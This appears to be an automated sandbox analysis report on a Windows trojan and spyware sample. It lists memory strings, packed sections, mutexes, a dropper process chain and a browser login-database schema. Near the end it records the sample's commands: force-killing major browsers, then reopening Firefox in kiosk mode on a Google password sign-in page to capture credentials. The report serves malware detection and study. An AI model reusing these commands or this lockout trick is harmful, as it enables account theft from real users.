Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.1833557458.000000000610B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1829932246.0000000005FD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1829378006.0000000005FB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1844804963.0000000005A19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1822773942.0000000005F71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1839884561.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1830752547.0000000005FC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1831200048.0000000005FC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1837474966.0000000005EBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1844921816.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1830131735.0000000005EB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1839064591.0000000005EC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824409491.0000000005EBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1832009242.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1832707028.0000000005FE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818523624.0000000005B1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1827304318.000000000609F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824803775.0000000005F86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1821065577.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1822533398.0000000006021000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823887555.0000000005F77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824670644.0000000005EBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1844519001.0000000005AD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824148855.0000000005EC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1830989761.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1835952635.0000000005FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1827580775.0000000005EBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1825343914.0000000006067000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1821707262.0000000005EB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1822069091.0000000005EC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1826848878.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1828024267.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818690139.0000000005EC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1836245679.0000000005FEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1821523631.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824019118.0000000006039000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1832914072.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1836541964.0000000005FF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1829587604.00000000060BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1828532029.0000000005EB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1828640336.0000000005FBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1830464243.0000000005EBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1825475875.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1828952693.0000000005FB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1825210589.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1845452492.00000000011C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1832252497.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1840046269.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1822305587.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820064495.0000000005EB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823015872.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823253223.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823528118.000000000603D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1829771849.0000000005EB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1822896177.000000000602F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1825611034.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819875684.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1832490060.0000000005EBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1838846241.000000000614A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1836958216.0000000005FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824538759.0000000005F8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1826035440.0000000005F99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1829167071.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819669815.0000000005EBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1831414755.00000000060D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823133103.0000000005F76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1821837687.0000000005F59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1840523116.0000000006004000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819319868.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1826463746.0000000005F9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1845729075.0000000005EB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1836395855.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1825867094.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1826246368.0000000005EB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819077177.0000000005EBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824943030.000000000605F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1822652634.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1844618236.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823388583.0000000005F79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1822190145.0000000005F6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1844921816.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1824280785.0000000005F91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1819494239.0000000005B13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1836100777.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1828149795.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1821951667.000000000600D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1823663193.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1840201272.000000000614C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1828366024.0000000005FB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1836660996.000000000612A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1839646417.000000000600F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1836809660.0000000005EB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1838636207.0000000005FFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1820381813.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1825076603.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1834433117.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1838106045.0000000005FF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1830296810.0000000005FC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1826679868.0000000006084000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818856315.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1838415657.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1845244184.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1818247036.0000000005CB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1833137945.0000000005FDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1840360402.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1828782374.0000000005EB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1827065953.0000000005FAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1822416368.0000000005F66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1837333713.0000000006131000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980285070532915
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998020265667575
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe.0.dr	Static PE information: Section: bleglpjp ZLIB complexity 0.9942190613503985
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.998020265667575
Source: skotes.exe.3.dr	Static PE information: Section: bleglpjp ZLIB complexity 0.9942190613503985
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980285070532915
Source: 6cadd3f0fd.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9980285070532915
Source: random[1].exe0.8.dr	Static PE information: Section: usisoqoi ZLIB complexity 0.9949866959291486
Source: 1171a5b648.exe.8.dr	Static PE information: Section: usisoqoi ZLIB complexity 0.9949866959291486
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: Section: ZLIB complexity 0.998020265667575
Source: B1DZUXGXMC4OXONLCU5KVQ.exe.13.dr	Static PE information: Section: bleglpjp ZLIB complexity 0.9942190613503985

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/34@101/14

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2144:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5460:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4324:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1681717879.0000000005A2A000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454611051.00000000052A6000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2455187968.000000000528A000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586578333.000000000586A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 52%

Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe "C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe "C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe"
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe "C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe "C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe "C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe "C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe"
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
